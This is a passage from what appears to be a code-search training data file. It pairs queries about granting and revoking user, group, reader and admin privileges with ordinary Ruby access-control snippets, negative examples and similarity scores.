#{user}:#{group}.\", e\n false\n end", "def can_modify_user?(user_id)\n role == 'admin' || id.to_s == user_id.to_s\n end", "def can_modify_user?(user_id)\n role == 'admin' || id.to_s == user_id.to_s\n end", "def can_edit\n producer.admin?(user) || group_admin?\n end", "def add_rights(verbs, resources)\n @rights << RoleRight.new(verbs, resources)\n self\n end", "def everyone(read, write)\n apply(PUBLIC, read, write)\n permissions[PUBLIC]\n end", "def set_access(*args)\n options = args.extract_options!\n options[:object] ||= Array(@_controller).first.to_s.singularize.to_sym if @_controller.present?\n permissions.add(*args, options)\n end", "def can_alter?(someone)\n someone.kind_of?(User) && (someone.admin? || someone == self.user)\n end", "def permission_role_or_subject_for(target, context, proles=nil)\n permission_subject_for(target, context) || permission_role_for(target, context, proles)\n end", "def accountant_can_write?(permission)\n session[:usertype].to_s == 'accountant' and session[\"acc_#{permission}\".to_sym].to_i == 2\n end", "def permissions_for_deploy(aUser=nil,aGroup=nil,aPath=nil)\n\t\taUser ||= user\n\t\taGroup ||= apache_user\n\t\taPath ||= deploy_to\n\t\trun \"#{sudo} chown -R #{aUser}:#{aGroup} #{MiscUtils.append_slash(aPath)}\"\n\t\trun \"#{sudo} chmod u+rw #{MiscUtils.append_slash(aPath)}\"\n\t\trun_for_all(\"chmod u+x\",aPath,:dirs)\t\t\n\tend", "def can_modify_user?(user_id)\n \trole == 'Admin' || id.to_s == user_id.to_s\n \tend", "def registered_junior(user)\n # put perms here that ONLY juniors should be able to do\n # if adult can also do it, put it is any_registered\n end", "def check_write_access(obj)\n return obj unless LinkedData.settings.enable_security\n if obj.is_a?(LinkedData::Models::Base) && obj.write_restricted?\n writable = obj.writable?(env[\"REMOTE_USER\"])\n error 403, \"Access denied for this resource\" unless writable\n end\n end", "def public_write_was\n writer_group_ids == [UserGroup.all_users.id]\n end", "def allowed?(by: nil, method:, action: \"\")\n return readable?(by: by, action: action) if method == 'GET'\n\n case by&.role_id\n when ROLE_ID[:admin]\n true\n when ROLE_ID[:writer]\n creator_id == by.id\n else\n false\n end\n end", "def publication_admin(role)\n can :read, Publication, :id => role.publication_id\n can :update, Publication, :id => role.publication_id\n can :manage, Issue, :publication_id => role.publication_id\n can :update, AdminUser, :id => @user.id\n\n end", "def write?(person, client)\n return read?(person, client) && (owner == person || ! read_only || (!person.nil? && person.moderator?(client)))\n end", "def standard_authorized_user_rights\n public_access + protected_access \n end", "def administrator\n can :manage, :all\n end", "def can_modify_user?(user_id)\n\t\trole == 'admin' || id.to_s == user_id.to_s\n\tend", "def add_permissions(topic_arn, label, grantees, actions)\n params = {}\n # add each member\n grantees.each_with_index { |awsid,i| params.merge!(\"AWSAccountId.member.#{i + 1}\" => awsid) }\n # add each action\n actions.each_with_index { |action,i| params.merge!(\"ActionName.member.#{i + 1}\" => action) }\n # standard params\n params.merge!('Label' => label,\n 'TopicArn' => topic_arn )\n req_hash = generate_request('AddPermission', params)\n request_info(req_hash, SnsStatusParser.new(:logger => @logger))\n rescue\n on_exception\n end", "def creatable_by?(user)\n user.administrator?\n end", "def change_privilege(user, group=user)\n puts \">> Changing process privilege to #{user}:#{group}\"\n\n uid, gid = Process.euid, Process.egid\n target_uid = Etc.getpwnam(user).uid\n target_gid = Etc.getgrnam(group).gid\n\n if uid != target_uid || gid != target_gid\n # Change process ownership\n Process.initgroups(user, target_gid)\n Process::GID.change_privilege(target_gid)\n Process::UID.change_privilege(target_uid)\n end\nrescue Errno::EPERM => e\n puts \"Couldn't change user and group to #{user}:#{group}: #{e}\"\nend", "def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n\n if user_groups.include? ['all_project_writers']\n can [:create], PulStore::Base\n can [:create], PulStore::Lae::Box\n can [:create], PulStore::Lae::Folder\n can [:create], Pulstore::Lae::HardDrive\n end\n\n if user_groups.include? ['lae_project_writers']\n can [:create], PulStore::Lae::Box\n can [:create], PulStore::Lae::Folder\n can [:create], Pulstore::Lae::HardDrive\n end \n\n if user_groups.include? ['all_project_writers']\n can [:destroy], PulStore::Base\n end\n\n if user_groups.include? ['lae_project_readers', 'all_project_readers' ]\n can [:show], PulStore::Base\n end\n end", "def custom_permissions\n if admin?\n can [:confirm_delete], ActiveFedora::Base\n can [:allow_downloads, :prevent_downloads], AdminSet\n\n can :manage, Spotlight::HomePage\n can :manage, Spotlight::Exhibit\n end\n\n can :read, Spotlight::HomePage\n can :read, Spotlight::Exhibit\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end", "def can_write?(resource)\n scope_name = resource.class.to_s.downcase.pluralize\n self.send(\"writable_#{scope_name}\").where(\"`permissions`.resource_type = ? AND `permissions`.resource_id = ?\", resource.class.to_s, resource.id).exists?\n end", "def assign_user_rights\n SysUserRight.joins(:sys_user_group).where(:sys_user_groups => {:user_group_name => session[:user_privilege].user_groups}).each do |right|\n action_on_table = right.sys_action_on_table\n session[(action_on_table.action + '_' + action_on_table.table_name).to_sym] = true if action_on_table.action[-4..-1] == '_all' #ex, session[:index_all_users], for table\n session[(action_on_table.action + '_' + action_on_table.table_name + '_' + right.accessible_column_name).to_sym] =\n true if right.accessible_column_name.present? #ex, session[:index_users_each_column] (full access), session[:index_users_name], for columns in a record\n end\n end", "def require_admin\n grant_access?(\"index\", \"users\")\n #position?('admin')\n end", "def grant_access(user_identifier)\n Scribd::Security.grant_access user_identifier, self\n end", "def can_write?\n can?('w')\n end", "def standard_authorized_user_rights\n Lockdown::System.public_access + Lockdown::System.protected_access \n end", "def grants?( path, access, roles )\n roles = [*roles]\n self.match?( path ) && ( self.access == WRITE || self.access == access ) && roles.include?( role )\n end", "def first_user_hook\n if User.with_role(:admin).count == 0\n self.grant :admin\n else # set editor as default role\n self.grant :editor if self.roles.empty?\n end\n end", "def share!( user, privileges )\n save if share( user, privileges )\n end", "def build_permissions(perms, other)\n perms.permits! :read\n perms.permits! :write if self == other\n end", "def update_access_controls!\n update!(edit_users: permission_template.agent_ids_for(access: 'manage', agent_type: 'user'),\n edit_groups: permission_template.agent_ids_for(access: 'manage', agent_type: 'group'))\n end", "def assign_reader(user_id)\n add_user(user_id)\n end", "def set_role\n self.role = 'developer'\n end", "def assign_collaborators_to(work:, collaborators:, repository: self)\n # TODO: Encapsulate this is a Service Object as there is enough logic\n # to warrant this behavior.\n Array.wrap(collaborators).each do |collaborator|\n collaborator.work_id = work.id\n collaborator.save!\n next unless collaborator.responsible_for_review?\n create_sipity_user_from(netid: collaborator.netid, email: collaborator.email) do |user|\n change_processing_actor_proxy(from_proxy: collaborator, to_proxy: user)\n # TODO: This cannot be the assumed role for the :acting_as; I wonder if it would make sense\n # to dilineate roles on the contributor and roles in the system?\n repository.grant_permission_for!(actors: user, entity: work, acting_as: Models::Role::ADVISING)\n end\n end\n end", "def authorize_for(group)\n current_user.becomes(LearnUser).allowed_to?(group)\n end", "def write_user(path)\n @templates.write_user(path)\n end" ]
[ "0.6684174", "0.6661647", "0.6607145", "0.6030306", "0.5999047", "0.58052886", "0.5783605", "0.57647496", "0.5731121", "0.57253546", "0.57219595", "0.5712993", "0.5708839", "0.5677376", "0.5641599", "0.5641154", "0.5625049", "0.56211215", "0.56158066", "0.5602194", "0.558604", "0.55851513", "0.5583426", "0.5582956", "0.55689895", "0.5504139", "0.5494357", "0.5432225", "0.54255086", "0.5425336", "0.541676", "0.53988624", "0.5398719", "0.5393823", "0.5372113", "0.53633803", "0.5336882", "0.5325985", "0.53150344", "0.53090733", "0.5305278", "0.529569", "0.52945256", "0.5294182", "0.52933294", "0.5285618", "0.5285264", "0.5283154", "0.5251722", "0.52427584", "0.52425045", "0.52374387", "0.5232077", "0.52282745", "0.52037567", "0.51963717", "0.5194239", "0.51930845", "0.51906395", "0.5187434", "0.5187434", "0.5186753", "0.51783025", "0.51699245", "0.5162855", "0.51607126", "0.51569074", "0.51564014", "0.51494205", "0.5148715", "0.51360446", "0.51342475", "0.51258427", "0.51169586", "0.51100284", "0.5104817", "0.51033086", "0.5085921", "0.5085034", "0.50848156", "0.5083617", "0.5082712", "0.5074435", "0.5072618", "0.50717205", "0.5069042", "0.5050083", "0.5041299", "0.5034829", "0.5034055", "0.50278044", "0.5025886", "0.5022456", "0.50203764", "0.5019409", "0.50191706", "0.5018587", "0.501584", "0.50132036", "0.50121987" ]
0.7183148
0
Give a User or UserGroup reader privileges.
def add_reader(arg) chg_permission(readers, arg, :add) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def assign_reader(user_id)\n add_user(user_id)\n end", "def assign_reader(user_id)\n\t\tadd_user(user_id)\n\tend", "def permits_read_acccess_for(user)\n end", "def is_reader?(user)\n public || permitted?(readers_join_table, user)\n end", "def grant_access(user_identifier)\n Scribd::Security.grant_access user_identifier, self\n end", "def can_read=(value)\n if value\n set_privileges('r', value)\n else\n self.privileges = nil\n end\n end", "def standard_authorized_user_rights\n Lockdown::System.public_access + Lockdown::System.protected_access \n end", "def permitted_to_read?(user)\n user.is_admin? || (has_groupblog_permission?(user) || self.user == user || self.group.moderator == user || (self.group.can_user_see_eachother && group.participants.include?(user)))\n end", "def read_allowed?(user)\n true\n end", "def set_read_users(users, eligible_users)\n set_entities(:read, :person, users, eligible_users)\n end", "def standard_authorized_user_rights\n public_access + protected_access \n end", "def readers\n group_users(readers_join_table)\n end", "def permits_write_access_for(user)\n end", "def permits?( priv, user = User.current )\n (priv, associate) = disassemble_priv( priv )\n check_user_set!(user, priv, associate)\n user.can?( priv, associate )\n end", "def may_read?(*args)\n\t\t\t(self.role_names & \n\t\t\t\t['superuser','administrator','editor','interviewer','reader']\n\t\t\t).length > 0\n\t\tend", "def users_that_can_read_group(users, group)\n DeclarativePolicy.subject_scope do\n users.select { |u| allowed?(u, :read_group, group) }\n end\n end", "def allowed_to_read_other_users=(value)\n @allowed_to_read_other_users = value\n end", "def remove_reader(arg)\n chg_permission(readers, arg, :remove)\n end", "def mark_as_read_by_creator\n mark_as_read! for: creator\n end", "def may_read?(*args)\n\t\t(self.role_names & \n\t\t\t['superuser','administrator','exporter','editor','reader']\n\t\t).length > 0\n\tend", "def assign_reader_to_a_group(group_id, reader_id)\n group = Group.find_by_id(group_id)\n reader = Student.find_by_id(reader_id)\n if group.reader != reader\n group.reader = reader\n group.save\n return true\n else\n return false\n end\n end", "def default(user)\n puts \"Rights: default\"\n # can :read, :all # doesn't do that ! We will authorize each actions\n can :read, [Doc, Gallery, Image, Place]\n can :manage, User, :id => user.id\n cannot :destroy, User, :id => user.id\n\n can :read, ForumCategory, [\"role <= ?\", user.role] do |forum_category|\n forum_category.role <= user.role\n end\n\n can :read, Forum, [\"role <= ?\", user.role] do |forum|\n if (forum.role <= user.role)\n can :read, Topic\n can :read, Message\n true\n else\n false\n end\n end\n\n # can read users profiles\n can :read, User\n\n # special actions\n can :mark_all_read, Forum\n end", "def access_rights_for_user(usr)\n return unless usr\n return :all if administrator?(usr)\n\n rights = standard_authorized_user_rights\n \n user_groups = usr.send(Lockdown.user_groups_hbtm_reference)\n user_groups.each do |grp|\n permissions_for_user_group(grp).each do |perm|\n rights += access_rights_for_permission(perm) \n end\n end\n rights\n end", "def user_access_control\n bot = Bot.find(params[:id])\n\n if current_user.admin?\n @bot = User.find(bot.account.user_id).admin? ? current_user.bots.find(params[:id]) : bot\n else\n @bot = current_user.bots.find(params[:id])\n end\n\n rescue\n response_access_denied\n end", "def accessible_user\n @user = User.find(params[:id])\n\n user_accessible = (@user.id == current_user.id) # can edit self\n unless user_accessible\n # check if user is in accessible group\n groups = Group.accessible_by(current_ability)\n @user.groups_users.each do |groups_user|\n if groups.include?(groups_user.group)\n user_accessible = true\n break\n end\n end\n end\n unless user_accessible\n raise CanCan::AccessDenied.new(\"Permission error\")\n end\n end", "def first_user_hook\n if User.with_role(:admin).count == 0\n self.grant :admin\n else # set editor as default role\n self.grant :editor if self.roles.empty?\n end\n end", "def can_read?(user)\n (released? && assignment.released_for_student?(user)) ||\n assignment.can_edit?(user)\n end", "def can_read?(user)\n self == user\n end", "def can_read?(user)\n self == user\n end", "def can_read?(user)\n self == user\n end", "def access_rights_for_user(usr)\n return unless usr\n return :all if administrator?(usr)\n\n rights = standard_authorized_user_rights\n \n usr.user_groups.each do |grp|\n permissions_for_user_group(grp) do |perm|\n rights += access_rights_for_permission(perm) \n end\n end\n rights\n end", "def atest_ID_25873_access_granted_as_follower_of_a_private_group()\n login_as_user1\n read_all_updates\n groupName = create_any_new_group(\"Private\", \"News\")\n logout_common\n login_as_user2\n read_all_updates\n find_a_group(\"#{groupName}\")\n request_invite\n logout_common\n login_as_user1\n verify_updates\n go_to_updates_page\n approve_as_follower\n logout_common\n login_as_user2\n verify_updates\n end", "def canBeReadBy? user\n unless user.class == Modeles::User\n username = user.to_s\n user = Modeles::User.find_by_name username\n unless user\n @errors << \"User #{username} doesn't exists\"\n return false\n end\n end\n if user.isAdmin == 1\n return true\n elsif user.name == @user\n if @userRights >= 4\n return true\n else\n return false\n end\n elsif isIncludedIn? user.groups, @group\n if @groupRights >= 4\n return true\n else\n return false\n end\n else\n if @othersRights >= 4\n return true\n else\n return false\n end\n end\n end", "def writer?(user)\n public_write || permitted?(writers_join_table, user)\n end", "def contributor?( id )\n acl.has_permission?(id, AlbumACL::CONTRIBUTOR_ROLE) || SystemRightsACL.singleton.has_permission?(id, SystemRightsACL::SUPPORT_HERO_ROLE)\n end", "def privileges(user, parent_priv = nil)\n\t\tif user.admin?\n\t\t\treturn PRIVILEGE_EDIT\n\t\tend\n\t\tif self.creator_id.nil? && user.privilege >= User::PRIVILEGE_STAFF\n\t\t return PRIVILEGE_EDIT\n\t\tend \n\t\tif self.creator_id == user.id\n\t\t\treturn PRIVILEGE_EDIT\n\t\tend\n\t\t\n\t\tparent_priv ||= self.notable.privileges(user)\n\t\t\n\t\treturn PRIVILEGE_EDIT if parent_priv[:edit_note]\n\t\treturn PRIVILEGE_VIEW if parent_priv[:view_note]\n\t\treturn PRIVILEGE_NONE\n\tend", "def grant_privileges(role_name, privileges, options = nil)\n policy = create_policy(options, AdminPolicy, default_admin_policy)\n command = AdminCommand.new\n command.grant_privileges(@cluster, policy, role_name, privileges)\n end", "def read_permitted?\n return (acting_user.administrator? || true)\n end", "def read_allowed?(user)\n return true unless self.group_restrictions.any? || (user.nil? && self.categories.detect { |c| !c.public })\n return false unless user\n group_restrictions.each do |r|\n unless user.group_memberships.find_by_usergroup_id(r.usergroup.id).nil? \n logger.info(\"\\n**** GRANT ACCESS TO GROUP #{r.usergroup.name}\")\n return true\n end\n end\n return false\n end", "def _accessible? user_or_id, edit_or_view\n # get user id\n user_id = user_or_id.to_i\n # quick response if user is self.agent\n return true if self.agent_id == user_id\n # get user object\n user = user_or_id.is_a?(Fixnum) ? Usage::User.find(user_or_id) : user_or_id\n if user.super?\n return true\n elsif user.agent? or user.manager?\n return true if _accessible_through_family?(user, edit_or_view)\n elsif user.sales_support?\n return true if _accessible_for_sales_support?(user)\n end\n false\n end", "def read_by?(user)\n\t user and self.readers.find_by_id(user.id)\n end", "def set_readonly_access(grant_access=true, manual_set=false)\n unless Rails.env.test? || self.queued_for_deletion || self.detached\n if manual_set || self.public_changed? || self.new_record?\n if self.firecloud_workspace.present? && self.firecloud_project.present? && ApplicationController.read_only_firecloud_client.present?\n access_level = self.public? ? 'READER' : 'NO ACCESS'\n if !grant_access # revoke all access\n access_level = 'NO ACCESS'\n end\n Rails.logger.info \"#{Time.zone.now}: setting readonly access on #{self.name} to #{access_level}\"\n readonly_acl = ApplicationController.firecloud_client.create_workspace_acl(ApplicationController.read_only_firecloud_client.issuer, access_level, false, false)\n ApplicationController.firecloud_client.update_workspace_acl(self.firecloud_project, self.firecloud_workspace, readonly_acl)\n end\n end\n end\n end", "def assert_read_granted(resource, principal)\n @read_priv.assert_granted(resource, principal) unless @read_priv.nil?\n end", "def require_admin\n grant_access?(\"index\", \"users\")\n #position?('admin')\n end", "def add_writer(arg)\n chg_permission(writers, arg, :add)\n end", "def rights?(level)\n logged_in? and @user.role_id >= level\n end", "def set_access_level(access_level)\n if access_level >= 1\n self.commenter = true\n else\n self.commenter = false\n end\n if access_level >= 2\n self.editor = true\n else\n self.editor = false\n end\n if access_level >= 3\n self.administrator = true\n else\n self.administrator = false\n end\n end", "def can_edit\n producer.admin?(user) || group_admin?\n end", "def get_read_access( u)\n \n return (u == self.user) || (self.public)\n \n \n end", "def readwrite_user\n super\n end", "def set_privacy(user=nil,level=0)\n # TODO finish and test\n # currently 0 = public, 1 = public but read only, 2 = private, 3 = private and read only\n # in all cases if you are a member you can see it\n end", "def may_read_group_membership?(membership)\n\t\t\tmay_administrate? || is_group_reader?(membership.group) || self == membership.user\n\t\tend", "def change_privilege(user, group)\n begin\n if group\n log \"Changing group to #{group}.\"\n Process::GID.change_privilege(Etc.getgrnam(group).gid)\n end\n\n if user\n log \"Changing user to #{user}.\" \n Process::UID.change_privilege(Etc.getpwnam(user).uid)\n end\n rescue Errno::EPERM\n log \"FAILED to change user:group #{user}:#{group}: #$!\"\n exit 1\n end\n end", "def select\n @users ||= User.role_wise_users(params[:user][:role])\n authorize! :read, @user\n end", "def assign_role\n self.add_role!(\"user\")\n end", "def read_allowed?(user)\n return false if self.draft && self.user != user\n all_categories_public = (self.categories.detect { |c| !c.public }).nil?\n return true unless self.group_restrictions.any? || (user.nil? && !all_categories_public)\n return true if self.group_restrictions.empty? && user && all_categories_public\n return false unless user\n group_restrictions.each do |r|\n unless user.group_memberships.find_by_usergroup_id(r.usergroup.id).nil?\n logger.info(\"\\n**** GRANT ACCESS TO GROUP #{r.usergroup.name}\")\n return true\n end\n end\n return false \n end", "def set_perms\n self.perms = Access.for_user(self)\n end", "def update_writein(desc, name, reader, writer, admin)\n result = true\n if name.match(/^(.*\\S) +<.*>$/)\n group = User.find_by_login($1)\n else\n group = User.find_by_login(name) ||\n UserGroup.find_by_name(name)\n end\n if group.is_a?(User)\n group = UserGroup.one_user(group)\n end\n if group\n update_group(desc, :readers, group, reader)\n update_group(desc, :writers, group, writer)\n update_group(desc, :admins, group, admin)\n else\n result = false\n end\n return result\n end", "def may_read_group?(group)\n\t\t\tmay_administrate? || is_group_reader?(group)\n\t\tend", "def set_up_readers can_walk\n\t\t@walk = can_walk\n\tend", "def readable_by? user\n true\n end", "def change_privilege(user, group=user)\n Merb.logger.info \"Changing privileges to #{user}:#{group}\"\n \n uid, gid = Process.euid, Process.egid\n target_uid = Etc.getpwnam(user).uid\n target_gid = Etc.getgrnam(group).gid\n \n if uid != target_uid || gid != target_gid\n # Change process ownership\n Process.initgroups(user, target_gid)\n Process::GID.change_privilege(target_gid)\n Process::UID.change_privilege(target_uid)\n end\n rescue Errno::EPERM => e\n Merb.logger.error \"Couldn't change user and group to #{user}:#{group}: #{e}\"\n end", "def atest_ID_25872_access_granted_as_contributor()\n #Need to be clarified. Looks like it's already covered with access_granted_as_manager()\n end", "def reseller_allow_read(permission)\n return reseller_right(permission) > 0\n end", "def require_moderator_access\n sub = Sub.friendly.find(params[:id])\n unless sub.moderators.include?(current_user)\n flash[:error] = \"Only moderators can perform this action.\"\n redirect_to sub_url(sub)\n end\n end", "def allowed?(by: nil, method:, action: \"\")\n return readable?(by: by, action: action) if method == 'GET'\n\n case by&.role_id\n when ROLE_ID[:admin]\n true\n when ROLE_ID[:writer]\n creator_id == by.id\n else\n false\n end\n end", "def can_read?(user)\n (self.user == user) || course.can_edit?(user)\n end", "def assign_user_rights\n SysUserRight.joins(:sys_user_group).where(:sys_user_groups => {:user_group_name => session[:user_privilege].user_groups}).each do |right|\n action_on_table = right.sys_action_on_table\n session[(action_on_table.action + '_' + action_on_table.table_name).to_sym] = true if action_on_table.action[-4..-1] == '_all' #ex, session[:index_all_users], for table\n session[(action_on_table.action + '_' + action_on_table.table_name + '_' + right.accessible_column_name).to_sym] =\n true if right.accessible_column_name.present? #ex, session[:index_users_each_column] (full access), session[:index_users_name], for columns in a record\n end\n end", "def set_default_role\n if self.admin?\n self.admin!\n else\n self.writer!\n end\n end", "def allowed_to_read_other_users\n return @allowed_to_read_other_users\n end", "def editable? usr\r\n (seller?(usr) || pixter?(usr) || usr.has_role?(:admin)) || usr.has_role?(:support)\r\n end", "def setup_reader\n if self.reader != nil\n return self.reader\n end\n\n reader = Reader.create! do |reader|\n reader.user = self\n end\n\n reader.add_all_subscriptions\n end", "def can_read?(user)\n assignment.grades_released? || can_grade?(user)\n end", "def grant_user_privilege(channel, nick, privilege)\n channel = normalized_channel_name(channel)\n privcode = server_type.privilege.key(privilege).chr if server_type.privilege.value? privilege\n privcode ||= privilege\n mode channel, \"+#{privcode}\", nick\n end", "def readonly_user\n super\n end", "def student_access_allowed?\n return true if scopes.include_any?(Scopes::READ_ALL)\n if username && scopes.include_any?(Scopes::READ_ROLE_BASED)\n return has_any_role? PRIVILEGED_ROLES\n end\n false\n end", "def everyone(read, write)\n apply(PUBLIC, read, write)\n permissions[PUBLIC]\n end", "def set_user\n @user = User.find(params[:id])\n \tauthorize [:admin, @user]\n end", "def set_readwrite_user(opts)\n opts = check_params(opts,[:rw_user_info])\n super(opts)\n end", "def custom_permissions_read(_notebook, _user, _use_admin=false)\n true\n end", "def authorize!\n Ability.allowed?(context[:current_user], :read_milestone, parent) || raise_resource_not_available_error!\n end", "def service_user(_user)\n can :access, :stats\n can :access, :export unless RuntimeConfig.elections_active?\n can :access, :voters if RuntimeConfig.elections_started? && RuntimeConfig.elections_active?\n end", "def access\n if self.read_users.present?\n \"limited\"\n elsif self.read_groups.empty?\n \"private\"\n elsif self.read_groups.include? \"public\"\n \"public\"\n elsif self.read_groups.include? \"registered\"\n \"restricted\" \n else \n \"limited\"\n end\n end", "def update_access_controls!\n update!(edit_users: permission_template.agent_ids_for(access: 'manage', agent_type: 'user'),\n edit_groups: permission_template.agent_ids_for(access: 'manage', agent_type: 'group'))\n end", "def grant(subject, object, right=Right::RW)\n capability = Capability.new(subject, object, right, @seed)\n object_map[object] = [capability, subject]\n subject.give(capability.clone)\n capability\n end", "def set_readonly_user(opts)\n opts = check_params(opts,[:ro_user_info])\n super(opts)\n end", "def set_read_groups(groups, eligible_groups)\n set_entities(:read, :group, groups, eligible_groups)\n end", "def change_privilege(user, group=user)\n puts \">> Changing process privilege to #{user}:#{group}\"\n\n uid, gid = Process.euid, Process.egid\n target_uid = Etc.getpwnam(user).uid\n target_gid = Etc.getgrnam(group).gid\n\n if uid != target_uid || gid != target_gid\n # Change process ownership\n Process.initgroups(user, target_gid)\n Process::GID.change_privilege(target_gid)\n Process::UID.change_privilege(target_uid)\n end\nrescue Errno::EPERM => e\n puts \"Couldn't change user and group to #{user}:#{group}: #{e}\"\nend", "def privileges(user)\n\n\t\t# create a new privileges object with no rights\n\t\tp = TinyPrivileges.new\n\n\t\t# user must be specified\n\t\treturn p if user.nil?\n\n\t\t# an admin has full privileges\n\t\treturn p.grant_all if user.admin?\n\t\treturn p.grant_all if user == contract.facilitator\n\n\t\t##########################################\n\t\t# see if the user has an enrollment role on the contract here\n\t\tuser_role = contract.role_of(user)\n\n\t\t##########################################\n\t\t# USER IS NOT ENROLLED\n\t\t# if no role, then check for staff privileges\n\t\tif user_role.nil?\n\n\t\t\t# staff members can view and do notes\n\t\t\t# non-staff, non-enrolled user has no privileges\n\t\t\tp[:browse] = \n\t\t\tp[:view] = \n\t\t\tp[:create_note] = \n\t\t\tp[:view_students] = \n\t\t\tp[:view_note] = (user.privilege == User::PRIVILEGE_STAFF)\n\n\t\t\treturn p\n\t\tend\n\n\t\t##########################################\n\t\t# USER IS ENROLLED\n\t\t# FOR EDIT PRIVILEGES,\n\t\t# user must be instructor\n\t\tp[:edit] = (user_role >= Enrollment::ROLE_INSTRUCTOR)\n\t\t\n\t\t# FOR VIEW, NOTE PRIVILEGES,\n\t\t# user must be an instructor or a supervisor or the enrolled student\n\t\tp[:view] = \n\t\tp[:create_note] = \n\t\tp[:view_note] =\n\t\tp[:browse] = ((user_role >= Enrollment::ROLE_INSTRUCTOR) or\n\t\t\t\t\t\t\t\t\t(user.id == participant.id))\n\n\t\t# an instructor or supervisor can edit a note\n\t\tp[:view_students] = # bogus since an enrollment only deals with one student\n\t\tp[:edit_note] = user_role >= Enrollment::ROLE_INSTRUCTOR\n\t\treturn p\n\tend", "def set_access_levels\n user_access_controls.each(&:disable!) if persisted? && disabled\n end", "def set_access_rights\n # @access_rights = current_v1_user.rights.where(campground_id: params[:campground_id])\n @access_rights = User.find(1).rights.find_by(campground_id: params[:campground_id])\n end", "def access_control(object = nil)\n if object.present? && @cur_user.present?\n author = author?\n end\n perm = Permission\n perm.getReq(params[:controller], params[:action], request.request_method)\n redirect t('redirect.denied') unless perm.grant?(user_perm, author)\n end", "def set_reader\n @reader = Reader.find(params[:id])\n end", "def set_reader\n @reader = Reader.find(params[:id])\n end", "def set_reader\n @reader = Reader.find(params[:id])\n end", "def grant_role\n raise InvalidRole.new if current_user.manager?\n end", "def governing_reader_group(collection_id)\n result = ActiveFedora::SolrService.query(\"id:#{collection_id}\")\n doc = SolrDocument.new(result.pop)\n read_groups = doc[Solrizer.solr_name('read_access_group', :stored_searchable, type: :symbol)]\n\n if read_groups && read_groups.include?(collection_id)\n return UserGroup::Group.find_by(name: collection_id)\n end\n\n # Else check to see if ancestors have the read group set\n inherited_read_group(doc)\n end", "def access_robot\n raise 'unauthorised' if current_user != @robot.user \n end", "def grants?( path, access, roles )\n roles = [*roles]\n self.match?( path ) && ( self.access == WRITE || self.access == access ) && roles.include?( role )\n end", "def can_access?(user)\n user == self.user\n end" ]
[ "0.6733607", "0.65807956", "0.63644356", "0.62446564", "0.60599303", "0.5910222", "0.5858134", "0.58206403", "0.5796846", "0.5728223", "0.5716442", "0.57161105", "0.5694812", "0.5605373", "0.5599412", "0.55444336", "0.551846", "0.5516621", "0.54649436", "0.54520494", "0.54383093", "0.5421559", "0.54170996", "0.5415164", "0.5410757", "0.5404769", "0.5398396", "0.5390835", "0.5390835", "0.5390835", "0.5387347", "0.5345482", "0.5334992", "0.5321675", "0.5314842", "0.531082", "0.5298337", "0.52905065", "0.52759904", "0.52729", "0.526898", "0.52586234", "0.52567875", "0.5254423", "0.52523524", "0.5249875", "0.52476555", "0.5231703", "0.52309245", "0.5226612", "0.5220851", "0.5218142", "0.5216031", "0.52063453", "0.51991546", "0.51933503", "0.5191866", "0.5191191", "0.5185747", "0.51836574", "0.51784945", "0.51765686", "0.51757824", "0.51752234", "0.5174901", "0.51745355", "0.5169602", "0.51656336", "0.5164368", "0.51544505", "0.51511043", "0.5141268", "0.51408714", "0.51383525", "0.5136132", "0.51321626", "0.51257366", "0.5109612", "0.5109004", "0.51043564", "0.5101317", "0.50987184", "0.5097065", "0.508943", "0.50776637", "0.50718325", "0.5070977", "0.5065834", "0.5050104", "0.5041405", "0.5034713", "0.5028858", "0.50282997", "0.50282997", "0.50277615", "0.5025097", "0.5018346", "0.50172305", "0.5016002", "0.50036263" ]
0.6599822
1
Revoke a User's or UserGroup's admin privileges.
def remove_admin(arg) chg_permission(admins, arg, :remove) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def revoke_admin\n authorize! @user\n @user.roles = @user.roles - ['admin']\n @user.save\n redirect_to @user, notice: t('user.revoked_admin', name: @user.username)\n end", "def revoke_admin_rights(member)\r\n fail \"#{member.email} is not a admin of this organisation\" unless admins[member.email]\r\n fail \"not enough admins left\" unless self.admin_count > 1\r\n self.admins.delete(member.email)\r\n end", "def revoke_admin\n self.update_attributes(:admin => false)\n end", "def revoke_all_permissions\n update_column(:admin, nil)\n UserPermission.where(user_id: id).each(&:destroy)\n end", "def admin_deny_user\n @user.destroy\n redirect_to admin_path, notice: \"User Denied and Account Deleted\"\n end", "def revoke_privileges(role_name, privileges, options = nil)\n policy = create_policy(options, AdminPolicy, default_admin_policy)\n command = AdminCommand.new\n command.revoke_privileges(@cluster, policy, role_name, privileges)\n end", "def rem_admin oid\n self.admins.delete oid\n end", "def remove_project_admin_auth(project_id_or_key, user_id)\n delete(\"projects/#{project_id_or_key}/administrators\", user_id: user_id)\n end", "def remove_admin(admin, user_id)\n return get_db_as_hash().execute(\"UPDATE user SET admin = 0 WHERE user_id = ?\", user_id).first \n end", "def delete_admin(id)\n @m = Member.find_by_society_id_and_user_id(self.id, id)\n if @m == nil then return end\n \n if @m.admin \n @m.admin = false\n @m.save\n\t\t\tadd_post(id, \"Administrator status revoked\")\n end\n end", "def remove_admin\n @team = Team.find(params[:id])\n authorize @team, :update?\n\n @user = User.find(params[:user_id])\n @user.remove_role :admin, @team\n\n respond_to do |format|\n format.html { redirect_to @team, notice: 'User was successfully removed as admin.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.transaction do\n @user.user_roles.destroy_all\n @user.update_attribute(:admin, false)\n end\n respond_to do |format|\n format.html { redirect_to admin_roles_path }\n format.json { head :no_content }\n end\n end", "def revoke_roles(user, roles, options = nil)\n policy = create_policy(options, AdminPolicy, default_admin_policy)\n command = AdminCommand.new\n command.revoke_roles(@cluster, policy, user, roles)\n end", "def drop_privileges(user, group)\n uid, gid = user_id(user) if user\n gid = group_id(group) if group\n\n Process::Sys.setgid(gid) if gid\n Process::Sys.setuid(uid) if uid\n rescue Errno::EPERM => e\n raise ServiceError, \"unable to drop privileges (#{e})\"\n end", "def remove_admin(user)\n user = User.get_user(user, client)\n response = client.delete \"/admin/#{user.jid}/?actor_token=#{CGI.escape client.system_token}\"\n if response.success?\n true\n else\n raise APIException.new(response.body)\n end\n 